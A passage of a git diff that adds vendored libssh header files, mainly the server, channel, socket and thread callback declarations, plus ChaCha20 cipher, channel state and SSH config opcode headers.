signature_state SSH_PUBLICKEY_STATE_NONE if the key is not signed (simple public key probe), + * SSH_PUBLICKEY_STATE_VALID if the signature is valid. Others values should be + * replied with a SSH_AUTH_DENIED. + * @param userdata Userdata to be passed to the callback function. + * @returns SSH_AUTH_SUCCESS Authentication is accepted. + * @returns SSH_AUTH_PARTIAL Partial authentication, more authentication means are needed. + * @returns SSH_AUTH_DENIED Authentication failed. + */ +typedef int (*ssh_auth_pubkey_callback) (ssh_session session, const char *user, struct ssh_key_struct *pubkey, + char signature_state, void *userdata); + + +/** + * @brief Handles an SSH service request + * @param session current session handler + * @param service name of the service (e.g. "ssh-userauth") requested + * @param userdata Userdata to be passed to the callback function. + * @returns 0 if the request is to be allowed + * @returns -1 if the request should not be allowed + */ + +typedef int (*ssh_service_request_callback) (ssh_session session, const char *service, void *userdata); + +/** + * @brief Handles an SSH new channel open session request + * @param session current session handler + * @param userdata Userdata to be passed to the callback function. + * @returns a valid ssh_channel handle if the request is to be allowed + * @returns NULL if the request should not be allowed + * @warning The channel pointer returned by this callback must be closed by the application. + */ +typedef ssh_channel (*ssh_channel_open_request_session_callback) (ssh_session session, void *userdata); + +/* + * @brief handle the beginning of a GSSAPI authentication, server side. + * @param session current session handler + * @param user the username of the client + * @param n_oid number of available oids + * @param oids OIDs provided by the client + * @returns an ssh_string containing the chosen OID, that's supported by both + * client and server. + * @warning It is not necessary to fill this callback in if libssh is linked + * with libgssapi. + */ +typedef ssh_string (*ssh_gssapi_select_oid_callback) (ssh_session session, const char *user, + int n_oid, ssh_string *oids, void *userdata); + +/* + * @brief handle the negotiation of a security context, server side. + * @param session current session handler + * @param[in] input_token input token provided by client + * @param[out] output_token output of the gssapi accept_sec_context method, + * NULL after completion. + * @returns SSH_OK if the token was generated correctly or accept_sec_context + * returned GSS_S_COMPLETE + * @returns SSH_ERROR in case of error + * @warning It is not necessary to fill this callback in if libssh is linked + * with libgssapi. + */ +typedef int (*ssh_gssapi_accept_sec_ctx_callback) (ssh_session session, + ssh_string input_token, ssh_string *output_token, void *userdata); + +/* + * @brief Verify and authenticates a MIC, server side. + * @param session current session handler + * @param[in] mic input mic to be verified provided by client + * @param[in] mic_buffer buffer of data to be signed. + * @param[in] mic_buffer_size size of mic_buffer + * @returns SSH_OK if the MIC was authenticated correctly + * @returns SSH_ERROR in case of error + * @warning It is not necessary to fill this callback in if libssh is linked + * with libgssapi. + */ +typedef int (*ssh_gssapi_verify_mic_callback) (ssh_session session, + ssh_string mic, void *mic_buffer, size_t mic_buffer_size, void *userdata); + + +/** + * This structure can be used to implement a libssh server, with appropriate callbacks. + */ + +struct ssh_server_callbacks_struct { + /** DON'T SET THIS use ssh_callbacks_init() instead. */ + size_t size; + /** + * User-provided data. User is free to set anything he wants here + */ + void *userdata; + /** This function gets called when a client tries to authenticate through + * password method. + */ + ssh_auth_password_callback auth_password_function; + + /** This function gets called when a client tries to authenticate through + * none method. + */ + ssh_auth_none_callback auth_none_function; + + /** This function gets called when a client tries to authenticate through + * gssapi-mic method. + */ + ssh_auth_gssapi_mic_callback auth_gssapi_mic_function; + + /** this function gets called when a client tries to authenticate or offer + * a public key. + */ + ssh_auth_pubkey_callback auth_pubkey_function; + + /** This functions gets called when a service request is issued by the + * client + */ + ssh_service_request_callback service_request_function; + /** This functions gets called when a new channel request is issued by + * the client + */ + ssh_channel_open_request_session_callback channel_open_request_session_function; + /** This function will be called when a new gssapi authentication is attempted. + */ + ssh_gssapi_select_oid_callback gssapi_select_oid_function; + /** This function will be called when a gssapi token comes in. + */ + ssh_gssapi_accept_sec_ctx_callback gssapi_accept_sec_ctx_function; + /* This function will be called when a MIC needs to be verified. + */ + ssh_gssapi_verify_mic_callback gssapi_verify_mic_function; +}; +typedef struct ssh_server_callbacks_struct *ssh_server_callbacks; + +/** + * @brief Set the session server callback functions. + * + * This functions sets the callback structure to use your own callback + * functions for user authentication, new channels and requests. + * + * Note, that the structure is not copied to the session structure so it needs + * to be valid for the whole session lifetime. + * + * @code + * struct ssh_server_callbacks_struct cb = { + * .userdata = data, + * .auth_password_function = my_auth_function + * }; + * ssh_callbacks_init(&cb); + * ssh_set_server_callbacks(session, &cb); + * @endcode + * + * @param session The session to set the callback structure. + * + * @param cb The callback structure itself. + * + * @return SSH_OK on success, SSH_ERROR on error. + */ +LIBSSH_API int ssh_set_server_callbacks(ssh_session session, ssh_server_callbacks cb); + +/** + * These are the callbacks exported by the socket structure + * They are called by the socket module when a socket event appears + */ +struct ssh_socket_callbacks_struct { + /** + * User-provided data. User is free to set anything he wants here + */ + void *userdata; + /** + * This function will be called each time data appears on socket. The data + * not consumed will appear on the next data event. + */ + ssh_callback_data data; + /** This function will be called each time a controlflow state changes, i.e. + * the socket is available for reading or writing. + */ + ssh_callback_int controlflow; + /** This function will be called each time an exception appears on socket. An + * exception can be a socket problem (timeout, ...) or an end-of-file. + */ + ssh_callback_int_int exception; + /** This function is called when the ssh_socket_connect was used on the socket + * on nonblocking state, and the connection succeeded. + */ + ssh_callback_int_int connected; +}; +typedef struct ssh_socket_callbacks_struct *ssh_socket_callbacks; + +#define SSH_SOCKET_FLOW_WRITEWILLBLOCK 1 +#define SSH_SOCKET_FLOW_WRITEWONTBLOCK 2 + +#define SSH_SOCKET_EXCEPTION_EOF 1 +#define SSH_SOCKET_EXCEPTION_ERROR 2 + +#define SSH_SOCKET_CONNECTED_OK 1 +#define SSH_SOCKET_CONNECTED_ERROR 2 +#define SSH_SOCKET_CONNECTED_TIMEOUT 3 + +/** + * @brief Initializes an ssh_callbacks_struct + * A call to this macro is mandatory when you have set a new + * ssh_callback_struct structure. Its goal is to maintain the binary + * compatibility with future versions of libssh as the structure + * evolves with time. + */ +#define ssh_callbacks_init(p) do {\ + (p)->size=sizeof(*(p)); \ +} while(0); + +/** + * @internal + * @brief tests if a callback can be called without crash + * verifies that the struct size if big enough + * verifies that the callback pointer exists + * @param p callback pointer + * @param c callback name + * @returns nonzero if callback can be called + */ +#define ssh_callbacks_exists(p,c) (\ + (p != NULL) && ( (char *)&((p)-> c) < (char *)(p) + (p)->size ) && \ + ((p)-> c != NULL) \ + ) + +/** + * @internal + * + * @brief Iterate through a list of callback structures + * + * This tests for their validity and executes them. The userdata argument is + * automatically passed through. + * + * @param list list of callbacks + * + * @param cbtype type of the callback + * + * @param c callback name + * + * @param va_args parameters to be passed + */ +#define ssh_callbacks_execute_list(list, cbtype, c, ...) \ + do { \ + struct ssh_iterator *i = ssh_list_get_iterator(list); \ + cbtype cb; \ + while (i != NULL){ \ + cb = ssh_iterator_value(cbtype, i); \ + if (ssh_callbacks_exists(cb, c)) \ + cb-> c (__VA_ARGS__, cb->userdata); \ + i = i->next; \ + } \ + } while(0) + +/** + * @internal + * + * @brief iterate through a list of callback structures. + * + * This tests for their validity and give control back to the calling code to + * execute them. Caller can decide to break the loop or continue executing the + * callbacks with different parameters + * + * @code + * ssh_callbacks_iterate(channel->callbacks, ssh_channel_callbacks, + * channel_eof_function){ + * rc = ssh_callbacks_iterate_exec(session, channel); + * if (rc != SSH_OK){ + * break; + * } + * } + * ssh_callbacks_iterate_end(); + * @endcode + */ +#define ssh_callbacks_iterate(_cb_list, _cb_type, _cb_name) \ + do { \ + struct ssh_iterator *_cb_i = ssh_list_get_iterator(_cb_list); \ + _cb_type _cb; \ + for (; _cb_i != NULL; _cb_i = _cb_i->next) { \ + _cb = ssh_iterator_value(_cb_type, _cb_i); \ + if (ssh_callbacks_exists(_cb, _cb_name)) + +#define ssh_callbacks_iterate_exec(_cb_name, ...) \ + _cb->_cb_name(__VA_ARGS__, _cb->userdata) + +#define ssh_callbacks_iterate_end() \ + } \ + } while(0) + +/** @brief Prototype for a packet callback, to be called when a new packet arrives + * @param session The current session of the packet + * @param type packet type (see ssh2.h) + * @param packet buffer containing the packet, excluding size, type and padding fields + * @param user user argument to the callback + * and are called each time a packet shows up + * @returns SSH_PACKET_USED Packet was parsed and used + * @returns SSH_PACKET_NOT_USED Packet was not used or understood, processing must continue + */ +typedef int (*ssh_packet_callback) (ssh_session session, uint8_t type, ssh_buffer packet, void *user); + +/** return values for a ssh_packet_callback */ +/** Packet was used and should not be parsed by another callback */ +#define SSH_PACKET_USED 1 +/** Packet was not used and should be passed to any other callback + * available */ +#define SSH_PACKET_NOT_USED 2 + + +/** @brief This macro declares a packet callback handler + * @code + * SSH_PACKET_CALLBACK(mycallback){ + * ... + * } + * @endcode + */ +#define SSH_PACKET_CALLBACK(name) \ + int name (ssh_session session, uint8_t type, ssh_buffer packet, void *user) + +struct ssh_packet_callbacks_struct { + /** Index of the first packet type being handled */ + uint8_t start; + /** Number of packets being handled by this callback struct */ + uint8_t n_callbacks; + /** A pointer to n_callbacks packet callbacks */ + ssh_packet_callback *callbacks; + /** + * User-provided data. User is free to set anything he wants here + */ + void *user; +}; + +typedef struct ssh_packet_callbacks_struct *ssh_packet_callbacks; + +/** + * @brief Set the session callback functions. + * + * This functions sets the callback structure to use your own callback + * functions for auth, logging and status. + * + * Note, that the callback structure is not copied into the session so it needs + * to be valid for the whole session lifetime. + * + * @code + * struct ssh_callbacks_struct cb = { + * .userdata = data, + * .auth_function = my_auth_function + * }; + * ssh_callbacks_init(&cb); + * ssh_set_callbacks(session, &cb); + * @endcode + * + * @param session The session to set the callback structure. + * + * @param cb The callback structure itself. + * + * @return SSH_OK on success, SSH_ERROR on error. + */ +LIBSSH_API int ssh_set_callbacks(ssh_session session, ssh_callbacks cb); + +/** + * @brief SSH channel data callback. Called when data is available on a channel + * @param session Current session handler + * @param channel the actual channel + * @param data the data that has been read on the channel + * @param len the length of the data + * @param is_stderr is 0 for stdout or 1 for stderr + * @param userdata Userdata to be passed to the callback function. + * @returns number of bytes processed by the callee. The remaining bytes will + * be sent in the next callback message, when more data is available. + */ +typedef int (*ssh_channel_data_callback) (ssh_session session, + ssh_channel channel, + void *data, + uint32_t len, + int is_stderr, + void *userdata); + +/** + * @brief SSH channel eof callback. Called when a channel receives EOF + * @param session Current session handler + * @param channel the actual channel + * @param userdata Userdata to be passed to the callback function. + */ +typedef void (*ssh_channel_eof_callback) (ssh_session session, + ssh_channel channel, + void *userdata); + +/** + * @brief SSH channel close callback. Called when a channel is closed by remote peer + * @param session Current session handler + * @param channel the actual channel + * @param userdata Userdata to be passed to the callback function. + */ +typedef void (*ssh_channel_close_callback) (ssh_session session, + ssh_channel channel, + void *userdata); + +/** + * @brief SSH channel signal callback. Called when a channel has received a signal + * @param session Current session handler + * @param channel the actual channel + * @param signal the signal name (without the SIG prefix) + * @param userdata Userdata to be passed to the callback function. + */ +typedef void (*ssh_channel_signal_callback) (ssh_session session, + ssh_channel channel, + const char *signal, + void *userdata); + +/** + * @brief SSH channel exit status callback. Called when a channel has received an exit status + * @param session Current session handler + * @param channel the actual channel + * @param exit_status Exit status of the ran command + * @param userdata Userdata to be passed to the callback function. + */ +typedef void (*ssh_channel_exit_status_callback) (ssh_session session, + ssh_channel channel, + int exit_status, + void *userdata); + +/** + * @brief SSH channel exit signal callback. Called when a channel has received an exit signal + * @param session Current session handler + * @param channel the actual channel + * @param signal the signal name (without the SIG prefix) + * @param core a boolean telling whether a core has been dumped or not + * @param errmsg the description of the exception + * @param lang the language of the description (format: RFC 3066) + * @param userdata Userdata to be passed to the callback function. + */ +typedef void (*ssh_channel_exit_signal_callback) (ssh_session session, + ssh_channel channel, + const char *signal, + int core, + const char *errmsg, + const char *lang, + void *userdata); + +/** + * @brief SSH channel PTY request from a client. + * @param session the session + * @param channel the channel + * @param term The type of terminal emulation + * @param width width of the terminal, in characters + * @param height height of the terminal, in characters + * @param pxwidth width of the terminal, in pixels + * @param pwheight height of the terminal, in pixels + * @param userdata Userdata to be passed to the callback function. + * @returns 0 if the pty request is accepted + * @returns -1 if the request is denied + */ +typedef int (*ssh_channel_pty_request_callback) (ssh_session session, + ssh_channel channel, + const char *term, + int width, int height, + int pxwidth, int pwheight, + void *userdata); + +/** + * @brief SSH channel Shell request from a client. + * @param session the session + * @param channel the channel + * @param userdata Userdata to be passed to the callback function. + * @returns 0 if the shell request is accepted + * @returns 1 if the request is denied + */ +typedef int (*ssh_channel_shell_request_callback) (ssh_session session, + ssh_channel channel, + void *userdata); +/** + * @brief SSH auth-agent-request from the client. This request is + * sent by a client when agent forwarding is available. + * Server is free to ignore this callback, no answer is expected. + * @param session the session + * @param channel the channel + * @param userdata Userdata to be passed to the callback function. + */ +typedef void (*ssh_channel_auth_agent_req_callback) (ssh_session session, + ssh_channel channel, + void *userdata); + +/** + * @brief SSH X11 request from the client. This request is + * sent by a client when X11 forwarding is requested(and available). + * Server is free to ignore this callback, no answer is expected. + * @param session the session + * @param channel the channel + * @param single_connection If true, only one channel should be forwarded + * @param auth_protocol The X11 authentication method to be used + * @param auth_cookie Authentication cookie encoded hexadecimal + * @param screen_number Screen number + * @param userdata Userdata to be passed to the callback function. + */ +typedef void (*ssh_channel_x11_req_callback) (ssh_session session, + ssh_channel channel, + int single_connection, + const char *auth_protocol, + const char *auth_cookie, + uint32_t screen_number, + void *userdata); +/** + * @brief SSH channel PTY windows change (terminal size) from a client. + * @param session the session + * @param channel the channel + * @param width width of the terminal, in characters + * @param height height of the terminal, in characters + * @param pxwidth width of the terminal, in pixels + * @param pwheight height of the terminal, in pixels + * @param userdata Userdata to be passed to the callback function. + * @returns 0 if the pty request is accepted + * @returns -1 if the request is denied + */ +typedef int (*ssh_channel_pty_window_change_callback) (ssh_session session, + ssh_channel channel, + int width, int height, + int pxwidth, int pwheight, + void *userdata); + +/** + * @brief SSH channel Exec request from a client. + * @param session the session + * @param channel the channel + * @param command the shell command to be executed + * @param userdata Userdata to be passed to the callback function. + * @returns 0 if the exec request is accepted + * @returns 1 if the request is denied + */ +typedef int (*ssh_channel_exec_request_callback) (ssh_session session, + ssh_channel channel, + const char *command, + void *userdata); + +/** + * @brief SSH channel environment request from a client. + * @param session the session + * @param channel the channel + * @param env_name name of the environment value to be set + * @param env_value value of the environment value to be set + * @param userdata Userdata to be passed to the callback function. + * @returns 0 if the env request is accepted + * @returns 1 if the request is denied + * @warning some environment variables can be dangerous if changed (e.g. + * LD_PRELOAD) and should not be fulfilled. + */ +typedef int (*ssh_channel_env_request_callback) (ssh_session session, + ssh_channel channel, + const char *env_name, + const char *env_value, + void *userdata); +/** + * @brief SSH channel subsystem request from a client. + * @param session the session + * @param channel the channel + * @param subsystem the subsystem required + * @param userdata Userdata to be passed to the callback function. + * @returns 0 if the subsystem request is accepted + * @returns 1 if the request is denied + */ +typedef int (*ssh_channel_subsystem_request_callback) (ssh_session session, + ssh_channel channel, + const char *subsystem, + void *userdata); + +/** + * @brief SSH channel write will not block (flow control). + * + * @param session the session + * + * @param channel the channel + * + * @param[in] bytes size of the remote window in bytes. Writing as much data + * will not block. + * + * @param[in] userdata Userdata to be passed to the callback function. + * + * @returns 0 default return value (other return codes may be added in future). + */ +typedef int (*ssh_channel_write_wontblock_callback) (ssh_session session, + ssh_channel channel, + uint32_t bytes, + void *userdata); + +struct ssh_channel_callbacks_struct { + /** DON'T SET THIS use ssh_callbacks_init() instead. */ + size_t size; + /** + * User-provided data. User is free to set anything he wants here + */ + void *userdata; + /** + * This functions will be called when there is data available. + */ + ssh_channel_data_callback channel_data_function; + /** + * This functions will be called when the channel has received an EOF. + */ + ssh_channel_eof_callback channel_eof_function; + /** + * This functions will be called when the channel has been closed by remote + */ + ssh_channel_close_callback channel_close_function; + /** + * This functions will be called when a signal has been received + */ + ssh_channel_signal_callback channel_signal_function; + /** + * This functions will be called when an exit status has been received + */ + ssh_channel_exit_status_callback channel_exit_status_function; + /** + * This functions will be called when an exit signal has been received + */ + ssh_channel_exit_signal_callback channel_exit_signal_function; + /** + * This function will be called when a client requests a PTY + */ + ssh_channel_pty_request_callback channel_pty_request_function; + /** + * This function will be called when a client requests a shell + */ + ssh_channel_shell_request_callback channel_shell_request_function; + /** This function will be called when a client requests agent + * authentication forwarding. + */ + ssh_channel_auth_agent_req_callback channel_auth_agent_req_function; + /** This function will be called when a client requests X11 + * forwarding. + */ + ssh_channel_x11_req_callback channel_x11_req_function; + /** This function will be called when a client requests a + * window change. + */ + ssh_channel_pty_window_change_callback channel_pty_window_change_function; + /** This function will be called when a client requests a + * command execution. + */ + ssh_channel_exec_request_callback channel_exec_request_function; + /** This function will be called when a client requests an environment + * variable to be set. + */ + ssh_channel_env_request_callback channel_env_request_function; + /** This function will be called when a client requests a subsystem + * (like sftp). + */ + ssh_channel_subsystem_request_callback channel_subsystem_request_function; + /** This function will be called when the channel write is guaranteed + * not to block. + */ + ssh_channel_write_wontblock_callback channel_write_wontblock_function; +}; + +typedef struct ssh_channel_callbacks_struct *ssh_channel_callbacks; + +/** + * @brief Set the channel callback functions. + * + * This functions sets the callback structure to use your own callback + * functions for channel data and exceptions. + * + * Note, that the structure is not copied to the channel structure so it needs + * to be valid as for the whole life of the channel or until it is removed with + * ssh_remove_channel_callbacks(). + * + * @code + * struct ssh_channel_callbacks_struct cb = { + * .userdata = data, + * .channel_data_function = my_channel_data_function + * }; + * ssh_callbacks_init(&cb); + * ssh_set_channel_callbacks(channel, &cb); + * @endcode + * + * @param channel The channel to set the callback structure. + * + * @param cb The callback structure itself. + * + * @return SSH_OK on success, SSH_ERROR on error. + * @warning this function will not replace existing callbacks but set the + * new one atop of them. + */ +LIBSSH_API int ssh_set_channel_callbacks(ssh_channel channel, + ssh_channel_callbacks cb); + +/** + * @brief Add channel callback functions + * + * This function will add channel callback functions to the channel callback + * list. + * Callbacks missing from a callback structure will be probed in the next + * on the list. + * + * @param channel The channel to set the callback structure. + * + * @param cb The callback structure itself. + * + * @return SSH_OK on success, SSH_ERROR on error. + * + * @see ssh_set_channel_callbacks + */ +LIBSSH_API int ssh_add_channel_callbacks(ssh_channel channel, + ssh_channel_callbacks cb); + +/** + * @brief Remove a channel callback. + * + * The channel has been added with ssh_add_channel_callbacks or + * ssh_set_channel_callbacks in this case. + * + * @param channel The channel to remove the callback structure from. + * + * @param cb The callback structure to remove + * + * @returns SSH_OK on success, SSH_ERROR on error. + */ +LIBSSH_API int ssh_remove_channel_callbacks(ssh_channel channel, + ssh_channel_callbacks cb); + +/** @} */ + +/** @addtogroup libssh_threads + * @{ + */ + +typedef int (*ssh_thread_callback) (void **lock); + +typedef unsigned long (*ssh_thread_id_callback) (void); +struct ssh_threads_callbacks_struct { + const char *type; + ssh_thread_callback mutex_init; + ssh_thread_callback mutex_destroy; + ssh_thread_callback mutex_lock; + ssh_thread_callback mutex_unlock; + ssh_thread_id_callback thread_id; +}; + +/** + * @brief Set the thread callbacks structure. + * + * This is necessary if your program is using libssh in a multithreaded fashion. + * This function must be called first, outside of any threading context (in your + * main() function for instance), before you call ssh_init(). + * + * @param[in] cb A pointer to a ssh_threads_callbacks_struct structure, which + * contains the different callbacks to be set. + * + * @returns Always returns SSH_OK. + * + * @see ssh_threads_callbacks_struct + * @see SSH_THREADS_PTHREAD + * @bug libgcrypt 1.6 and bigger backend does not support custom callback. + * Using anything else than pthreads here will fail. + */ +LIBSSH_API int ssh_threads_set_callbacks(struct ssh_threads_callbacks_struct + *cb); + +/** + * @brief Returns a pointer to the appropriate callbacks structure for the + * environment, to be used with ssh_threads_set_callbacks. + * + * @returns A pointer to a ssh_threads_callbacks_struct to be used with + * ssh_threads_set_callbacks. + * + * @see ssh_threads_set_callbacks + */ +LIBSSH_API struct ssh_threads_callbacks_struct *ssh_threads_get_default(void); + +/** + * @brief Returns a pointer on the pthread threads callbacks, to be used with + * ssh_threads_set_callbacks. + * + * @see ssh_threads_set_callbacks + */ +LIBSSH_API struct ssh_threads_callbacks_struct *ssh_threads_get_pthread(void); + +/** + * @brief Get the noop threads callbacks structure + * + * This can be used with ssh_threads_set_callbacks. These callbacks do nothing + * and are being used by default. + * + * @return Always returns a valid pointer to the noop callbacks structure. + * + * @see ssh_threads_set_callbacks + */ +LIBSSH_API struct ssh_threads_callbacks_struct *ssh_threads_get_noop(void); + +/** + * @brief Set the logging callback function. + * + * @param[in] cb The callback to set. + * + * @return 0 on success, < 0 on error. + */ +LIBSSH_API int ssh_set_log_callback(ssh_logging_callback cb); + +/** + * @brief Get the pointer to the logging callback function. + * + * @return The pointer the the callback or NULL if none set. + */ +LIBSSH_API ssh_logging_callback ssh_get_log_callback(void); + +/** @} */ +#ifdef __cplusplus +} +#endif + +#endif /*_SSH_CALLBACK_H */ + +/* @} */ diff --git a/vendor/libssh/include/libssh/chacha.h b/vendor/libssh/include/libssh/chacha.h new file mode 100644 index 0000000..ab3fe49 --- /dev/null +++ b/vendor/libssh/include/libssh/chacha.h @@ -0,0 +1,48 @@ +/* $OpenBSD: chacha.h,v 1.3 2014/05/02 03:27:54 djm Exp $ */ + +/* +chacha-merged.c version 20080118 +D. J. Bernstein +Public domain. +*/ + +#ifndef CHACHA_H +#define CHACHA_H + +struct chacha_ctx { + uint32_t input[16]; +}; + +#define CHACHA_MINKEYLEN 16 +#define CHACHA_NONCELEN 8 +#define CHACHA_CTRLEN 8 +#define CHACHA_STATELEN (CHACHA_NONCELEN+CHACHA_CTRLEN) + +#ifdef __cplusplus +extern "C" { +#endif + +void chacha_keysetup(struct chacha_ctx *x, const uint8_t *k, uint32_t kbits) +#ifdef HAVE_GCC_BOUNDED_ATTRIBUTE + __attribute__((__bounded__(__minbytes__, 2, CHACHA_MINKEYLEN))) +#endif + ; +void chacha_ivsetup(struct chacha_ctx *x, const uint8_t *iv, const uint8_t *ctr) +#ifdef HAVE_GCC_BOUNDED_ATTRIBUTE + __attribute__((__bounded__(__minbytes__, 2, CHACHA_NONCELEN))) + __attribute__((__bounded__(__minbytes__, 3, CHACHA_CTRLEN))) +#endif + ; +void chacha_encrypt_bytes(struct chacha_ctx *x, const uint8_t *m, + uint8_t *c, uint32_t bytes) +#ifdef HAVE_GCC_BOUNDED_ATTRIBUTE + __attribute__((__bounded__(__buffer__, 2, 4))) + __attribute__((__bounded__(__buffer__, 3, 4))) +#endif + ; + +#ifdef __cplusplus +} +#endif + +#endif /* CHACHA_H */ diff --git a/vendor/libssh/include/libssh/chacha20-poly1305-common.h b/vendor/libssh/include/libssh/chacha20-poly1305-common.h new file mode 100644 index 0000000..b2f0231 --- /dev/null +++ b/vendor/libssh/include/libssh/chacha20-poly1305-common.h @@ -0,0 +1,54 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2020 Red Hat, Inc. + * + * Author: Jakub Jelen + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +/* + * chacha20-poly1305.h file + * This file includes definitions needed for Chacha20-poly1305 AEAD cipher + * using different crypto backends. + */ + +#ifndef CHACHA20_POLY1305_H +#define CHACHA20_POLY1305_H + +#define CHACHA20_BLOCKSIZE 64 +#define CHACHA20_KEYLEN 32 + +#define POLY1305_TAGLEN 16 +/* size of the keys k1 and k2 as defined in specs */ +#define POLY1305_KEYLEN 32 + +#ifdef _MSC_VER +#pragma pack(push, 1) +#endif +struct ssh_packet_header { + uint32_t length; + uint8_t payload[]; +} +#if defined(__GNUC__) +__attribute__ ((packed)) +#endif +#ifdef _MSC_VER +#pragma pack(pop) +#endif +; + +#endif /* CHACHA20_POLY1305_H */ diff --git a/vendor/libssh/include/libssh/channels.h b/vendor/libssh/include/libssh/channels.h new file mode 100644 index 0000000..cb2bea4 --- /dev/null +++ b/vendor/libssh/include/libssh/channels.h @@ -0,0 +1,120 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef CHANNELS_H_ +#define CHANNELS_H_ +#include "libssh/priv.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** @internal + * Describes the different possible states in a + * outgoing (client) channel request + */ +enum ssh_channel_request_state_e { + /** No request has been made */ + SSH_CHANNEL_REQ_STATE_NONE = 0, + /** A request has been made and answer is pending */ + SSH_CHANNEL_REQ_STATE_PENDING, + /** A request has been replied and accepted */ + SSH_CHANNEL_REQ_STATE_ACCEPTED, + /** A request has been replied and refused */ + SSH_CHANNEL_REQ_STATE_DENIED, + /** A request has been replied and an error happened */ + SSH_CHANNEL_REQ_STATE_ERROR +}; + +enum ssh_channel_state_e { + SSH_CHANNEL_STATE_NOT_OPEN = 0, + SSH_CHANNEL_STATE_OPENING, + SSH_CHANNEL_STATE_OPEN_DENIED, + SSH_CHANNEL_STATE_OPEN, + SSH_CHANNEL_STATE_CLOSED +}; + +/* The channel has been closed by the remote side */ +#define SSH_CHANNEL_FLAG_CLOSED_REMOTE 0x0001 + +/* The channel has been closed locally */ +#define SSH_CHANNEL_FLAG_CLOSED_LOCAL 0x0002 + +/* The channel has been freed by the calling program */ +#define SSH_CHANNEL_FLAG_FREED_LOCAL 0x0004 + +/* the channel has not yet been bound to a remote one */ +#define SSH_CHANNEL_FLAG_NOT_BOUND 0x0008 + +struct ssh_channel_struct { + ssh_session session; /* SSH_SESSION pointer */ + uint32_t local_channel; + uint32_t local_window; + int local_eof; + uint32_t local_maxpacket; + + uint32_t remote_channel; + uint32_t remote_window; + int remote_eof; /* end of file received */ + uint32_t remote_maxpacket; + enum ssh_channel_state_e state; + int delayed_close; + int flags; + ssh_buffer stdout_buffer; + ssh_buffer stderr_buffer; + void *userarg; + int exit_status; + enum ssh_channel_request_state_e request_state; + struct ssh_list *callbacks; /* list of ssh_channel_callbacks */ + + /* counters */ + ssh_counter counter; +}; + +SSH_PACKET_CALLBACK(ssh_packet_channel_open_conf); +SSH_PACKET_CALLBACK(ssh_packet_channel_open_fail); +SSH_PACKET_CALLBACK(ssh_packet_channel_success); +SSH_PACKET_CALLBACK(ssh_packet_channel_failure); +SSH_PACKET_CALLBACK(ssh_request_success); +SSH_PACKET_CALLBACK(ssh_request_denied); + +SSH_PACKET_CALLBACK(channel_rcv_change_window); +SSH_PACKET_CALLBACK(channel_rcv_eof); +SSH_PACKET_CALLBACK(channel_rcv_close); +SSH_PACKET_CALLBACK(channel_rcv_request); +SSH_PACKET_CALLBACK(channel_rcv_data); + +int channel_default_bufferize(ssh_channel channel, + void *data, uint32_t len, + bool is_stderr); +int ssh_channel_flush(ssh_channel channel); +uint32_t ssh_channel_new_id(ssh_session session); +ssh_channel ssh_channel_from_local(ssh_session session, uint32_t id); +void ssh_channel_do_free(ssh_channel channel); +int ssh_global_request(ssh_session session, + const char *request, + ssh_buffer buffer, + int reply); + +#ifdef __cplusplus +} +#endif + +#endif /* CHANNELS_H_ */ diff --git a/vendor/libssh/include/libssh/config.h b/vendor/libssh/include/libssh/config.h new file mode 100644 index 0000000..a24d11a --- /dev/null +++ b/vendor/libssh/include/libssh/config.h @@ -0,0 +1,68 @@ +/* + * config.h - parse the ssh config file + * + * This file is part of the SSH Library + * + * Copyright (c) 2009-2018 by Andreas Schneider + * + * The SSH Library is free software; you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation; either version 2.1 of the License, or (at your + * option) any later version. + * + * The SSH Library is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY + * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public + * License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with the SSH Library; see the file COPYING. If not, write to + * the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, + * MA 02111-1307, USA. + */ + +#ifndef LIBSSH_CONFIG_H_ +#define LIBSSH_CONFIG_H_ + + +enum ssh_config_opcode_e { + /* Unknown opcode */ + SOC_UNKNOWN = -3, + /* Known and not applicable to libssh */ + SOC_NA = -2, + /* Known but not supported by current libssh version */ + SOC_UNSUPPORTED = -1, + SOC_HOST, + SOC_MATCH, + SOC_HOSTNAME, + SOC_PORT, + SOC_USERNAME, + SOC_IDENTITY, + SOC_CIPHERS, + SOC_MACS, + SOC_COMPRESSION, + SOC_TIMEOUT, + SOC_STRICTHOSTKEYCHECK, + SOC_KNOWNHOSTS, + SOC_PROXYCOMMAND, + SOC_PROXYJUMP, + SOC_GSSAPISERVERIDENTITY, + SOC_GSSAPICLIENTIDENTITY, + SOC_GSSAPIDELEGATECREDENTIALS, + SOC_INCLUDE, + SOC_BINDADDRESS, + SOC_GLOBALKNOWNHOSTSFILE, + SOC_LOGLEVEL, + SOC_HOSTKEYALGORITHMS, + SOC_KEXALGORITHMS, + SOC_GSSAPIAUTHENTICATION, + SOC_KBDINTERACTIVEAUTHENTICATION, + SOC_PASSWORDAUTHENTICATION, + SOC_PUBKEYAUTHENTICATION, + SOC_PUBKEYACCEPTEDKEYTYPES, + SOC_REKEYLIMIT, + SOC_IDENTITYAGENT, + + SOC_MAX /* Keep this one last in the list */ +}; +#endif /* LIBSSH_CONFIG_H_ */ diff --git 